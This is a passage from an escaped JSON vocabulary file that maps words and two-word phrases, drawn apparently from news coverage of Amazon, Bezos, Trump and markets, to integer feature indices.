42352,\n  \"long held\": 42353,\n  \"meal planner\": 42354,\n  \"block washington\": 42355,\n  \"face opinion\": 42356,\n  \"owned radio\": 42357,\n  \"table\": 42358,\n  \"major publication\": 42359,\n  \"expanding amazon\": 42360,\n  \"specifically pushing\": 42361,\n  \"vitalhub tsxv\": 42362,\n  \"executed trump\": 42363,\n  \"tweeted criticisms\": 42364,\n  \"embrace openness\": 42365,\n  \"firm mwpvl\": 42366,\n  \"country agrees\": 42367,\n  \"long just\": 42368,\n  \"latest coverage\": 42369,\n  \"katie cook\": 42370,\n  \"current days\": 42371,\n  \"high alert\": 42372,\n  \"lefty\": 42373,\n  \"postage revenue\": 42374,\n  \"tech diversification\": 42375,\n  \"pipeline projects\": 42376,\n  \"sun belt\": 42377,\n  \"state requirements\": 42378,\n  \"flat versus\": 42379,\n  \"shops separately\": 42380,\n  \"various points\": 42381,\n  \"prime customer\": 42382,\n  \"chapo trial\": 42383,\n  \"amazon craig\": 42384,\n  \"modify\": 42385,\n  \"tweety\": 42386,\n  \"president blasting\": 42387,\n  \"contacting amazon\": 42388,\n  \"candidate swidt\": 42389,\n  \"allegedly\": 42390,\n  \"sharp president\": 42391,\n  \"changes tonight\": 42392,\n  \"attach priority\": 42393,\n  \"demanded npr\": 42394,\n  \"storyurl\": 42395,\n  \"apple balance\": 42396,\n  \"georgia snl\": 42397,\n  \"female journalist\": 42398,\n  \"party controls\": 42399,\n  \"country driving\": 42400,\n  \"specialist novelizes\": 42401,\n  \"rainier square\": 42402,\n  \"uk paid\": 42403,\n  \"funded studies\": 42404,\n  \"world norah\": 42405,\n  \"904bn times\": 42406,\n  \"guild investment\": 42407,\n  \"y1 sa\": 42408,\n  \"davos abney\": 42409,\n  \"income\": 42410,\n  \"new united\": 42411,\n  \"duckworth addressed\": 42412,\n  \"legislation 2019\": 42413,\n  \"8217 helped\": 42414,\n  \"limiting state\": 42415,\n  \"hense\": 42416,\n  \"failing strategy\": 42417,\n  \"services legal\": 42418,\n  \"good herera\": 42419,\n  \"mid 2000s\": 42420,\n  \"recent market\": 42421,\n  \"rentevaste perioden\": 42422,\n  \"share print\": 42423,\n  \"phone tablet\": 42424,\n  \"technological safeguards\": 42425,\n  \"saw shares\": 42426,\n  \"clocking\": 42427,\n  \"housewives\": 42428,\n  \"discuss privately\": 42429,\n  \"molly shannon\": 42430,\n  \"affaire bezos\": 42431,\n  \"biometric scans\": 42432,\n  \"bqb58ewvji jordan\": 42433,\n  \"deal believed\": 42434,\n  \"thoughtful comprehensive\": 42435,\n  \"people suggests\": 42436,\n  \"houses right\": 42437,\n  \"features interactive\": 42438,\n  \"break ing\": 42439,\n  \"human disease\": 42440,\n  \"accuses lampert\": 42441,\n  \"expert roger\": 42442,\n  \"whip\": 42443,\n  \"torrent\": 42444,\n  \"larry ellison\": 42445,\n  \"effort amazon\": 42446,\n  \"spotify technology\": 42447,\n  \"fargo fake\": 42448,\n  \"loose given\": 42449,\n  \"mmxviii cbs\": 42450,\n  \"storyteller\": 42451,\n  \"wise\": 42452,\n  \"rain koett\": 42453,\n  \"need 2018\": 42454,\n  \"expect long\": 42455,\n  \"donned\": 42456,\n  \"risks peace\": 42457,\n  \"important ally\": 42458,\n  \"dumped new\": 42459,\n  \"graphic images\": 42460,\n  \"desert stretches\": 42461,\n  \"counterfeits specifically\": 42462,\n  \"pays fulfillment\": 42463,\n  \"christian poirier\": 42464,\n  \"groban\": 42465,\n  \"amazon butt\": 42466,\n  \"asks amazon\": 42467,\n  \"san francisco\": 42468,\n  \"needed access\": 42469,\n  \"axvpbhjd2u\": 42470,\n  \"exact opposite\": 42471,\n  \"point mentioned\": 42472,\n  \"landings\": 42473,\n  \"staff according\": 42474,\n  \"insanely profitable\": 42475,\n  \"statewide office\": 42476,\n  \"typeof\": 42477,\n  \"actingfbi\": 42478,\n  \"media turned\": 42479,\n  \"seattle according\": 42480,\n  \"tall__head\": 42481,\n  \"girls coming\": 42482,\n  \"examples include\": 42483,\n  \"administration citi\": 42484,\n  \"biggest media\": 42485,\n  \"thousands\": 42486,\n  \"time cape\": 42487,\n  \"banned forum\": 42488,\n  \"previewed\": 42489,\n  \"planned reconstruction\": 42490,\n  \"president described\": 42491,\n  \"shopper behavior\": 42492,\n  \"aggravated\": 42493,\n  \"steep discounts\": 42494,\n  \"consumer feeling\": 42495,\n  \"mommy\": 42496,\n  \"news leaders\": 42497,\n  \"isn subjected\": 42498,\n  \"spur\": 42499,\n  \"7636 expanded\": 42500,\n  \"anybody outdoors\": 42501,\n  \"hours babysitting\": 42502,\n  \"fromoffice wow\": 42503,\n  \"vt danielle\": 42504,\n  \"settled worlds\": 42505,\n  \"t5q r4ee\": 42506,\n  \"smart enterprise\": 42507,\n  \"privacy election\": 42508,\n  \"new subscribers\": 42509,\n  \"jennifer payseno\": 42510,\n  \"affair trump\": 42511,\n  \"cash stock\": 42512,\n  \"investment reviews\": 42513,\n  \"including trade\": 42514,\n  \"explained amazon\": 42515,\n  \"rosa\": 42516,\n  \"encourage deliveries\": 42517,\n  \"cutouts\": 42518,\n  \"tyger lawyer\": 42519,\n  \"effective veto\": 42520,\n  \"flip picture\": 42521,\n  \"member mike\": 42522,\n  \"sports giant\": 42523,\n  \"uploaded_files\": 42524,\n  \"consumers trump\": 42525,\n  \"trump lies\": 42526,\n  \"169 pages\": 42527,\n  \"operational budgets\": 42528,\n  \"mvmt\": 42529,\n  \"completely gentrified\": 42530,\n  \"tech baron\": 42531,\n  \"intruder\": 42532,\n  \"murder 27yrs\": 42533,\n  \"american liberalism\": 42534,\n  \"11pm cbs\": 42535,\n  \"century adding\": 42536,\n  \"trump invented\": 42537,\n  \"justice scalia\": 42538,\n  \"poll findings\": 42539,\n  \"worst suspicions\": 42540,\n  \"host secret\": 42541,\n  \"ami nominally\": 42542,\n  \"dive earlier\": 42543,\n  \"unemployment rate\": 42544,\n  \"includes claims\": 42545,\n  \"unexplored\": 42546,\n  \"oprah\": 42547,\n  \"smaller business\": 42548,\n  \"xml encoding\": 42549,\n  \"alternate reality\": 42550,\n  \"lanariaamberkira\": 42551,\n  \"major incumbent\": 42552,\n  \"testimony reaction\": 42553,\n  \"existing conditions\": 42554,\n  \"including union\": 42555,\n  \"device dubbed\": 42556,\n  \"indigenous population\": 42557,\n  \"accelerating profits\": 42558,\n  \"idea eli\": 42559,\n  \"david tennant\": 42560,\n  \"little higher\": 42561,\n  \"miguel trinidad\": 42562,\n  \"largest rain\": 42563,\n  \"hope hardship\": 42564,\n  \"infowars host\": 42565,\n  \"internet retailers\": 42566,\n  \"yeats saying\": 42567,\n  \"ninety\": 42568,\n  \"mahon tullier\": 42569,\n  \"party biggest\": 42570,\n  \"antineoplaston treatment\": 42571,\n  \"saved special\": 42572,\n  \"companies begin\": 42573,\n  \"repeatedly\": 42574,\n  \"us1 travel\": 42575,\n  \"developed tax\": 42576,\n  \"create long\": 42577,\n  \"unreleased\": 42578,\n  \"hall started\": 42579,\n  \"generate revenue\": 42580,\n  \"antitrust enforcement\": 42581,\n  \"seas threaten\": 42582,\n  \"supplied straight\": 42583,\n  \"intentionally\": 42584,\n  \"ethnic cleansing\": 42585,\n  \"1328627 chinese\": 42586,\n  \"excellent customer\": 42587,\n  \"carney obama\": 42588,\n  \"david hughes\": 42589,\n  \"equity amazon\": 42590,\n  \"constant\": 42591,\n  \"sourced\": 42592,\n  \"misclassification\": 42593,\n  \"handily defeated\": 42594,\n  \"floors\": 42595,\n  \"network explains\": 42596,\n  \"papazian told\": 42597,\n  \"political trump\": 42598,\n  \"state agency\": 42599,\n  \"complaint allen\": 42600,\n  \"hereof\": 42601,\n  \"nabbed\": 42602,\n  \"generation networks\": 42603,\n  \"jobs foxconn\": 42604,\n  \"sec rejected\": 42605,\n  \"positivity\": 42606,\n  \"consulate\": 42607,\n  \"dailycaller\": 42608,\n  \"process interesting\": 42609,\n  \"presidential transport\": 42610,\n  \"criticized trump\": 42611,\n  \"school building\": 42612,\n  \"barangay ambago\": 42613,\n  \"timothynoah1\": 42614,\n  \"missed critical\": 42615,\n  \"buy stories\": 42616,\n  \"concerned amazonians\": 42617,\n  \"brought ton\": 42618,\n  \"eileen\": 42619,\n  \"utterly unnecessary\": 42620,\n  \"new platform\": 42621,\n  \"helmke robina\": 42622,\n  \"grabbing slice\": 42623,\n  \"councilman paul\": 42624,\n  \"differences remain\": 42625,\n  \"screen\": 42626,\n  \"lie smollett\": 42627,\n  \"enquirer blackmailing\": 42628,\n  \"menaces\": 42629,\n  \"trump booster\": 42630,\n  \"amazon skipping\": 42631,\n  \"campaigner elizabeth\": 42632,\n  \"apple decision\": 42633,\n  \"proud protector\": 42634,\n  \"physical biological\": 42635,\n  \"blackmail saying\": 42636,\n  \"sector medium\": 42637,\n  \"business practice\": 42638,\n  \"feedback contact\": 42639,\n  \"nicosia newspolitics\": 42640,\n  \"price gap\": 42641,\n  \"copyright war\": 42642,\n  \"married just\": 42643,\n  \"prove distracting\": 42644,\n  \"county va\": 42645,\n  \"products yesterday\": 42646,\n  \"defense cio\": 42647,\n  \"gripping story\": 42648,\n  \"plutocrats andrew\": 42649,\n  \"new hub\": 42650,\n  \"value noting\": 42651,\n  \"noting amazon\": 42652,\n  \"sun\": 42653,\n  \"1041868256464654336 oracle\": 42654,\n  \"tax caps\": 42655,\n  \"buybacks amazon\": 42656,\n  \"daily gains\": 42657,\n  \"aed\": 42658,\n  \"produced record\": 42659,\n  \"fiance\": 42660,\n  \"job probably\": 42661,\n  \"cloud infrastructure\": 42662,\n  \"1914\": 42663,\n  \"overzicht\": 42664,\n  \"lyz lenz\": 42665,\n  \"consumers pet\": 42666,\n  \"806 shares\": 42667,\n  \"bonobos\": 42668,\n  \"equipment index\": 42669,\n  \"atwood twitter\": 42670,\n  \"wholesome dad\": 42671,\n  \"bemoaning\": 42672,\n  \"ryan mullenix\": 42673,\n  \"expected lifetime\": 42674,\n  \"smirk subtle\": 42675,\n  \"clock designed\": 42676,\n  \"enormously\": 42677,\n  \"bills online\": 42678,\n  \"try v0\": 42679,\n  \"unprecedented war\": 42680,\n  \"tech company\": 42681,\n  \"specific portions\": 42682,\n  \"authentic amazon\": 42683,\n  \"embarrassing stories\": 42684,\n  \"conquistador\": 42685,\n  \"lucid\": 42686,\n  \"taxi kidman\": 42687,\n  \"tom cole\": 42688,\n  \"postal official\": 42689,\n  \"youth activists\": 42690,\n  \"index shows\": 42691,\n  \"lethbridge makeover\": 42692,\n  \"missing baby\": 42693,\n  \"vox emily\": 42694,\n  \"ordinarily badly\": 42695,\n  \"tax large\": 42696,\n  \"ron\": 42697,\n  \"extort money\": 42698,\n  \"southwest premier\": 42699,\n  \"peace process\": 42700,\n  \"saying richard\": 42701,\n  \"778\": 42702,\n  \"having real\": 42703,\n  \"includes grocery\": 42704,\n  \"popular just\": 42705,\n  \"amazon competes\": 42706,\n  \"amazon leveraging\": 42707,\n  \"adp nasdaq\": 42708,\n  \"maye\": 42709,\n  \"positive economic\": 42710,\n  \"chris receiving\": 42711,\n  \"department did\": 42712,\n  \"white amazon\": 42713,\n  \"neighbours\": 42714,\n  \"build efficient\": 42715,\n  \"joint new\": 42716,\n  \"derail changes\": 42717,\n  \"dependents assistance\": 42718,\n  \"jr richmond\": 42719,\n  \"diary danny\": 42720,\n  \"theserpicoside\": 42721,\n  \"frowned\": 42722,\n  \"chamber\": 42723,\n  \"foreign trips\": 42724,\n  \"2017 washington\": 42725,\n  \"resentment\": 42726,\n  \"facebook discuss\": 42727,\n  \"delivery tjv\": 42728,\n  \"push ahead\": 42729,\n  \"botched\": 42730,\n  \"explosive story\": 42731,\n  \"handcuffed\": 42732,\n  \"operation cincyinsights\": 42733,\n  \"guaranteed payments\": 42734,\n  \"lawmakers noted\": 42735,\n  \"google responded\": 42736,\n  \"grundy\": 42737,\n  \"differed\": 42738,\n  \"www2\": 42739,\n  \"insulated stainless\": 42740,\n  \"pretty questionable\": 42741,\n  \"digital technologies\": 42742,\n  \"nearly\": 42743,\n  \"companies months\": 42744,\n  \"awakening\": 42745,\n  \"cents priority\": 42746,\n  \"welcomed amazon\": 42747,\n  \"elect trump\": 42748,\n  \"open animosity\": 42749,\n  \"checked bags\": 42750,\n  \"restrict australian\": 42751,\n  \"worth read\": 42752,\n  \"bay ivanka\": 42753,\n  \"amazon disappointing\": 42754,\n  \"trust corp\": 42755,\n  \"richer smarter\": 42756,\n  \"fazzari\": 42757,\n  \"traditional allies\": 42758,\n  \"caijing\": 42759,\n  \"apply antitrust\": 42760,\n  \"campaign expenses\": 42761,\n  \"archipelago\": 42762,\n  \"guardian jack\": 42763,\n  \"pose problems\": 42764,\n  \"vision program\": 42765,\n  \"aapl escaped\": 42766,\n  \"tech headlines\": 42767,\n  \"estimates 2018\": 42768,\n  \"start today\": 42769,\n  \"trademark guild\": 42770,\n  \"sawant\": 42771,\n  \"gis\": 42772,\n  \"store balcony\": 42773,\n  \"q2 sales\": 42774,\n  \"unconfirmed reports\": 42775,\n  \"lobbyist 8221\": 42776,\n  \"homelessness mary\": 42777,\n  \"left unsaid\": 42778,\n  \"involving domestic\": 42779,\n  \"kitchen timers\": 42780,\n  \"follows monthslong\": 42781,\n  \"citing source\": 42782,\n  \"severe emotional\": 42783,\n  \"scrutinizing\": 42784,\n  \"unintentional leaks\": 42785,\n  \"sells virtually\": 42786,\n  \"security departments\": 42787,\n  \"regulations\": 42788,\n  \"wine northumbria\": 42789,\n  \"wind chill\": 42790,\n  \"amazon comparisons\": 42791,\n  \"avoid paying\": 42792,\n  \"federal appeals\": 42793,\n  \"euro american\": 42794,\n  \"africa 106\": 42795,\n  \"dream fully\": 42796,\n  \"manifestation\": 42797,\n  \"menagerie\": 42798,\n  \"critical reporting\": 42799,\n  \"1077231267559755776\": 42800,\n  \"order partly\": 42801,\n  \"bezos thinks\": 42802,\n  \"cautious\": 42803,\n  \"touting domestic\": 42804,\n  \"infiltrated computers\": 42805,\n  \"widely praised\": 42806,\n  \"mean billion\": 42807,\n  \"emily ratajkowski\": 42808,\n  \"msnbc locking\": 42809,\n  \"flash sales\": 42810,\n  \"interjected\": 42811,\n  \"amazon reviews\": 42812,\n  \"models dominick\": 42813,\n  \"fordham university\": 42814,\n  \"dumping major\": 42815,\n  \"chief strategist\": 42816,\n  \"books amber\": 42817,\n  \"thinks national\": 42818,\n  \"infatuation\": 42819,\n  \"cub network\": 42820,\n  \"ian frazier\": 42821,\n  \"hush payment\": 42822,\n  \"political challenge\": 42823,\n  \"opening act\": 42824,\n  \"advocates hoped\": 42825,\n  \"poverty people\": 42826,\n  \"movement farc\": 42827,\n  \"facebook fed\": 42828,\n  \"menthol crystals\": 42829,\n  \"requires online\": 42830,\n  \"online shoppers\": 42831,\n  \"asking cabinet\": 42832,\n  \"new restaurant\": 42833,\n  \"wholesale stores\": 42834,\n  \"big media\": 42835,\n  \"violent agendas\": 42836,\n  \"maga acronym\": 42837,\n  \"team abhorrent\": 42838,\n  \"content sign\": 42839,\n  \"best support\": 42840,\n  \"tech accountable\": 42841,\n  \"company clean\": 42842,\n  \"hierarchy\": 42843,\n  \"workforce work\": 42844,\n  \"index return\": 42845,\n  \"happening\": 42846,\n  \"prime subscription\": 42847,\n  \"instances did\": 42848,\n  \"advisor air\": 42849,\n  \"deliver experts\": 42850,\n  \"face lawmakers\": 42851,\n  \"progressively\": 42852,\n  \"enableautoplayblock\": 42853,\n  \"fixed saying\": 42854,\n  \"diminutive\": 42855,\n  \"media descriptionplaintext\": 42856,\n  \"amy\": 42857,\n  \"merger schiff\": 42858,\n  \"previous trademark\": 42859,\n  \"dunham britain\": 42860,\n  \"headline hottest\": 42861,\n  \"say hello\": 42862,\n  \"resolution\": 42863,\n  \"tropics spoke\": 42864,\n  \"net mike\": 42865,\n  \"weak revenue\": 42866,\n  \"travel places\": 42867,\n  \"compound\": 42868,\n  \"discussions begin\": 42869,\n  \"maybe 100\": 42870,\n  \"concrete plans\": 42871,\n  \"wasn hacked\": 42872,\n  \"addeventlistener\": 42873,\n  \"bidding\": 42874,\n  \"mobile network\": 42875,\n  \"brand wegmans\": 42876,\n  \"record lows\": 42877,\n  \"accepts banana\": 42878,\n  \"regulators reverse\": 42879,\n  \"global companies\": 42880,\n  \"shares jumped\": 42881,\n  \"regionally\": 42882,\n  \"camp telogia\": 42883,\n  \"select don\": 42884,\n  \"flash storage\": 42885,\n  \"buy recommendation\": 42886,\n  \"ultra powerful\": 42887,\n  \"called hb40\": 42888,\n  \"world worker\": 42889,\n  \"veterans active\": 42890,\n  \"475\": 42891,\n  \"unconcerned\": 42892,\n  \"family owned\": 42893,\n  \"ubhi outspoken\": 42894,\n  \"000 grand\": 42895,\n  \"noncash amortization\": 42896,\n  \"finn amazon\": 42897,\n  \"speed\": 42898,\n  \"exotically wealthy\": 42899,\n  \"fqzm3suyxa bernie\": 42900,\n  \"kimani\": 42901,\n  \"priyanka chopra\": 42902,\n  \"moss confirms\": 42903,\n  \"meriwether new\": 42904,\n  \"opinion overall\": 42905,\n  \"comics\": 42906,\n  \"soros disseminating\": 42907,\n  \"truly innovative\": 42908,\n  \"foods tests\": 42909,\n  \"second years\": 42910,\n  \"merely talked\": 42911,\n  \"violated company\": 42912,\n  \"parent\": 42913,\n  \"just targeting\": 42914,\n  \"possibility occasionally\": 42915,\n  \"obstructed justice\": 42916,\n  \"incumbent party\": 42917,\n  \"popular neapolitan\": 42918,\n  \"pass law\": 42919,\n  \"nasdaq slid\": 42920,\n  \"having avoided\": 42921,\n  \"slideshows\": 42922,\n  \"filmmaker\": 42923,\n  \"regular season\": 42924,\n  \"eyesight\": 42925,\n  \"elements discover\": 42926,\n  \"seth declined\": 42927,\n  \"alphabet microsoft\": 42928,\n  \"joanne chen\": 42929,\n  \"distorts cost\": 42930,\n  \"advises companies\": 42931,\n  \"sent directly\": 42932,\n  \"child separation\": 42933,\n  \"tons black\": 42934,\n  \"repeated criticisms\": 42935,\n  \"crisis vice\": 42936,\n  \"pre built\": 42937,\n  \"2018 portland\": 42938,\n  \"late senator\": 42939,\n  \"media lawyers\": 42940,\n  \"mocked\": 42941,\n  \"sue\": 42942,\n  \"yorkers approve\": 42943,\n  \"videoplayer hidethumbnail\": 42944,\n  \"better chance\": 42945,\n  \"purchasing building\": 42946,\n  \"dramatic shifting\": 42947,\n  \"benchmark 500\": 42948,\n  \"impeaching rosenstein\": 42949,\n  \"trashy\": 42950,\n  \"held\": 42951,\n  \"tougher regulations\": 42952,\n  \"leaning\": 42953,\n  \"nate silver\": 42954,\n  \"mergers stoking\": 42955,\n  \"gould asset\": 42956,\n  \"google developments\": 42957,\n  \"indie film\": 42958,\n  \"information cloud\": 42959,\n  \"lakewood\": 42960,\n  \"privacy reasons\": 42961,\n  \"welcome arrest\": 42962,\n  \"generic goods\": 42963,\n  \"military allies\": 42964,\n  \"tv coverage\": 42965,\n  \"executive trump\": 42966,\n  \"opponent using\": 42967,\n  \"teams moment\": 42968,\n  \"certain mean\": 42969,\n  \"bj 2017\": 42970,\n  \"global_advisors\": 42971,\n  \"year schuster\": 42972,\n  \"eligible employee\": 42973,\n  \"chinese counterfeiters\": 42974,\n  \"welcoming source\": 42975,\n  \"employees evading\": 42976,\n  \"games enjoy\": 42977,\n  \"trust women\": 42978,\n  \"carafano america\": 42979,\n  \"don sit\": 42980,\n  \"biggest single\": 42981,\n  \"answer reporter\": 42982,\n  \"wasn mercenary\": 42983,\n  \"gmt president\": 42984,\n  \"economy trump\": 42985,\n  \"139bn\": 42986,\n  \"parked gillum\": 42987,\n  \"romances\": 42988,\n  \"amazon appearing\": 42989,\n  \"kocieniewski\": 42990,\n  \"revenue wasn\": 42991,\n  \"troubling\": 42992,\n  \"surprise drop\": 42993,\n  \"goods maker\": 42994,\n  \"300x200 getty_623710176_388104\": 42995,\n  \"schwartzman told\": 42996,\n  \"trump narrative\": 42997,\n  \"city presence\": 42998,\n  \"attr\": 42999,\n  \"toys follow\": 43000,\n  \"left following\": 43001,\n  \"dltr sgn\": 43002,\n  \"block larry\": 43003,\n  \"woodward reveals\": 43004,\n  \"vino deep\": 43005,\n  \"pitch finals\": 43006,\n  \"dc metro\": 43007,\n  \"documents seen\": 43008,\n  \"politico alice\": 43009,\n  \"wsj noted\": 43010,\n  \"germans chancellor\": 43011,\n  \"life\": 43012,\n  \"cincinnati northern\": 43013,\n  \"overall bestseller\": 43014,\n  \"ships using\": 43015,\n  \"hardware manipulations\": 43016,\n  \"incredibly lucky\": 43017,\n  \"pigeon\": 43018,\n  \"pricing amazon\": 43019,\n  \"v7wv9basue new\": 43020,\n  \"experiences dave\": 43021,\n  \"yes slowing\": 43022,\n  \"behest\": 43023,\n  \"stories currently\": 43024,\n  \"allowed mnuchin\": 43025,\n  \"career white\": 43026,\n  \"voting\": 43027,\n  \"257\": 43028,\n  \"shipping video\": 43029,\n  \"time promotions\": 43030,\n  \"bezos publicly\": 43031,\n  \"need arrive\": 43032,\n  \"abdullah\": 43033,\n  \"seen trump\": 43034,\n  \"limbaugh sean\": 43035,\n  \"prefer multi\": 43036,\n  \"dispatches\": 43037,\n  \"president baptized\": 43038,\n  \"korea american\": 43039,\n  \"clear evidence\": 43040,\n  \"groups benefiting\": 43041,\n  \"destroy merchandise\": 43042,\n  \"utilising\": 43043,\n  \"reason advising\": 43044,\n  \"despite worries\": 43045,\n  \"fact chuck\": 43046,\n  \"citywide\": 43047,\n  \"louisiana tennessee\": 43048,\n  \"mysterious joint\": 43049,\n  \"companies bore\": 43050,\n  \"total joke\": 43051,\n  \"wynne brother\": 43052,\n  \"permit veterans\": 43053,\n  \"critics responds\": 43054,\n  \"country greatest\": 43055,\n  \"delia\": 43056,\n  \"says white\": 43057,\n  \"conference want\": 43058,\n  \"messy floor\": 43059,\n  \"just ribbing\": 43060,\n  \"nashville business\": 43061,\n  \"retailer earlier\": 43062,\n  \"duty free\": 43063,\n  \"garden patch\": 43064,\n  \"disastrous results\": 43065,\n  \"harms communities\": 43066,\n  \"stock extended\": 43067,\n  \"disarming north\": 43068,\n  \"sexual mores\": 43069,\n  \"historic oscars\": 43070,\n  \"service uss\": 43071,\n  \"studios vincent\": 43072,\n  \"oluo\": 43073,\n  \"amazon lose\": 43074,\n  \"cheers shane\": 43075,\n  \"revenue similar\": 43076,\n  \"private cloud\": 43077,\n  \"mainstay\": 43078,\n  \"reuters retail\": 43079,\n  \"church pastoral\": 43080,\n  \"push setinitialvideoembed\": 43081,\n  \"elevates awareness\": 43082,\n  \"phony\": 43083,\n  \"763 sen\": 43084,\n  \"goat cooking\": 43085,\n  \"company solicited\": 43086,\n  \"285 words\": 43087,\n  \"nice touch\": 43088,\n  \"salles declared\": 43089,\n  \"growing movement\": 43090,\n  \"google owned\": 43091,\n  \"legitimate uses\": 43092,\n  \"fedex level\": 43093,\n  \"cnet looks\": 43094,\n  \"futures struggled\": 43095,\n  \"learn best\": 43096,\n  \"videocollection shouldstartvideo\": 43097,\n  \"estimates reuters\": 43098,\n  \"meeting acquired\": 43099,\n  \"chile economy\": 43100,\n  \"entails genuinely\": 43101,\n  \"busineses\": 43102,\n  \"larry page\": 43103,\n  \"andyostroy\": 43104,\n  \"national charged\": 43105,\n  \"shares sand\": 43106,\n  \"wascompletely\": 43107,\n  \"resents\": 43108,\n  \"dickerson yes\": 43109,\n  \"coolidge administration\": 43110,\n  \"economics\": 43111,\n  \"elaine pagels\": 43112,\n  \"market article\": 43113,\n  \"amazon began\": 43114,\n  \"start attorney\": 43115,\n  \"position predictive\": 43116,\n  \"funny trump\": 43117,\n  \"enquirer relationship\": 43118,\n  \"households\": 43119,\n  \"javascript enabled\": 43120,\n  \"pass posted\": 43121,\n  \"moderates panel\": 43122,\n  \"delegation officials\": 43123,\n  \"saying powell\": 43124,\n  \"yoga studio\": 43125,\n  \"upside surprise\": 43126,\n  \"staples company\": 43127,\n  \"policies online\": 43128,\n  \"payday loans\": 43129,\n  \"politicians received\": 43130,\n  \"sea algae\": 43131,\n  \"maintain desirable\": 43132,\n  \"working poor\": 43133,\n  \"generation family\": 43134,\n  \"escalated climate\": 43135,\n  \"house notably\": 43136,\n  \"cook personal\": 43137,\n  \"killing potential\": 43138,\n  \"000 commercial\": 43139,\n  \"markets share\": 43140,\n  \"striking images\": 43141,\n  \"certain customers\": 43142,\n  \"avowed nazi\": 43143,\n  \"frandsen\": 43144,\n  \"drummers\": 43145,\n  \"digital giant\": 43146,\n  \"verde super\": 43147,\n  \"averted trade\": 43148,\n  \"dollar investment\": 43149,\n  \"final results\": 43150,\n  \"owns major\": 43151,\n  \"wrote treasury\": 43152,\n  \"wrist\": 43153,\n  \"resonate strongly\": 43154,\n  \"753 shares\": 43155,\n  \"leadership elections\": 43156,\n  \"ai advancements\": 43157,\n  \"trump enquirer\": 43158,\n  \"hello long\": 43159,\n  \"massive earthquake\": 43160,\n  \"drastic\": 43161,\n  \"invoking national\": 43162,\n  \"elevated versus\": 43163,\n  \"tnt\": 43164,\n  \"invite putin\": 43165,\n  \"monopo\": 43166,\n  \"political motivation\": 43167,\n  \"force presented\": 43168,\n  \"long affair\": 43169,\n  \"saviors\": 43170,\n  \"ratesworld\": 43171,\n  \"story beth\": 43172,\n  \"late stan\": 43173,\n  \"trademark copyright\": 43174,\n  \"center bluefin\": 43175,\n  \"executive defended\": 43176,\n  \"massive 380\": 43177,\n  \"giant growing\": 43178,\n  \"bought nvidia\": 43179,\n  \"myths debunked\": 43180,\n  \"alleged infidelities\": 43181,\n  \"bezos showed\": 43182,\n  \"adblock plus\": 43183,\n  \"detective thriller\": 43184,\n  \"based incentives\": 43185,\n  \"sale online\": 43186,\n  \"boeing nyse\": 43187,\n  \"results winner\": 43188,\n  \"significant climate\": 43189,\n  \"hartsfield jackson\": 43190,\n  \"kids saying\": 43191,\n  \"intensly\": 43192,\n  \"political dysfunction\": 43193,\n  \"just unusual\": 43194,\n  \"investing tax\": 43195,\n  \"hq2 site\": 43196,\n  \"s\\u00e3o\": 43197,\n  \"seattle affiliate\": 43198,\n  \"question contributing\": 43199,\n  \"trump aides\": 43200,\n  \"new administration\": 43201,\n  \"manage team\": 43202,\n  \"international trip\": 43203,\n  \"kept printing\": 43204,\n  \"details check\": 43205,\n  \"counterfeit marketplaces\": 43206,\n  \"2018 posted\": 43207,\n  \"vudu monrovia\": 43208,\n  \"amazon harley\": 43209,\n  \"dam breached\": 43210,\n  \"poor economic\": 43211,\n  \"morthland\": 43212,\n  \"quarante\": 43213,\n  \"steinhauer\": 43214,\n  \"protected lands\": 43215,\n  \"fallacious dozens\": 43216,\n  \"hassled\": 43217,\n  \"chad french\": 43218,\n  \"zuckerberg testimony\": 43219,\n  \"final destinations\": 43220,\n  \"nhis executive\": 43221,\n  \"shipping puzzle\": 43222,\n  \"provide date\": 43223,\n  \"cramer scott\": 43224,\n  \"gracious dignified\": 43225,\n  \"criticize sinclair\": 43226,\n  \"higher hourly\": 43227,\n  \"free break\": 43228,\n  \"uber convenient\": 43229,\n  \"directed ultimately\": 43230,\n  \"sued hhs\": 43231,\n  \"denied amazon\": 43232,\n  \"favorability\": 43233,\n  \"copyright infringement\": 43234,\n  \"state governments\": 43235,\n  \"equitable distribution\": 43236,\n  \"reich expresses\": 43237,\n  \"biggest wealth\": 43238,\n  \"service sessions\": 43239,\n  \"helm amazon\": 43240,\n  \"publix\": 43241,\n  \"incredibly grateful\": 43242,\n  \"tract 34007608504\": 43243,\n  \"bad mouth\": 43244,\n  \"act stop\": 43245,\n  \"joanne\": 43246,\n  \"wegmann\": 43247,\n  \"procuring voice\": 43248,\n  \"additional progress\": 43249,\n  \"post detailing\": 43250,\n  \"starkest terms\": 43251,\n  \"mused\": 43252,\n  \"holds 170\": 43253,\n  \"monsignor philip\": 43254,\n  \"major companies\": 43255,\n  \"naacp member\": 43256,\n  \"typing binary\": 43257,\n  \"data source\": 43258,\n  \"type locations\": 43259,\n  \"fueling plans\": 43260,\n  \"hogan washington\": 43261,\n  \"employees income\": 43262,\n  \"sentences\": 43263,\n  \"accusing company\": 43264,\n  \"nature\": 43265,\n  \"increase retail\": 43266,\n  \"jerri ann\": 43267,\n  \"counselor\": 43268,\n  \"app fined\": 43269,\n  \"echo designed\": 43270,\n  \"despite mexico\": 43271,\n  \"fbi episodes\": 43272,\n  \"planned infrastructure\": 43273,\n  \"capitals celebration\": 43274,\n  \"news people\": 43275,\n  \"conveyor\": 43276,\n  \"vuitton trademark\": 43277,\n  \"fcc implementation\": 43278,\n  \"antifa getups\": 43279,\n  \"bezos sexts\": 43280,\n  \"resource bio\": 43281,\n  \"special counsels\": 43282,\n  \"bad people\": 43283,\n  \"hennessey\": 43284,\n  \"reporting honed\": 43285,\n  \"playerid\": 43286,\n  \"reliable corporations\": 43287,\n  \"apple shares\": 43288,\n  \"falsely labelled\": 43289,\n  \"marijuana company\": 43290,\n  \"tech gathering\": 43291,\n  \"speech equities\": 43292,\n  \"jewelry health\": 43293,\n  \"community input\": 43294,\n  \"political think\": 43295,\n  \"federal budget\": 43296,\n  \"watch shows\": 43297,\n  \"spicer hosting\": 43298,\n  \"actual voice\": 43299,\n  \"coverage areas\": 43300,\n  \"sympathies\": 43301,\n  \"ambrosetti\": 43302,\n  \"campaign galloway\": 43303,\n  \"trump broke\": 43304,\n  \"nathan\": 43305,\n  \"dining\": 43306,\n  \"sources woodward\": 43307,\n  \"stagnant wages\": 43308,\n  \"wind imperfect\": 43309,\n  \"obama congressman\": 43310,\n  \"gop prepares\": 43311,\n  \"northwest detention\": 43312,\n  \"wasting resources\": 43313,\n  \"unprecedented public\": 43314,\n  \"emboldens extremists\": 43315,\n  \"foods app\": 43316,\n  \"blaze aside\": 43317,\n  \"year abroad\": 43318,\n  \"t000047680\": 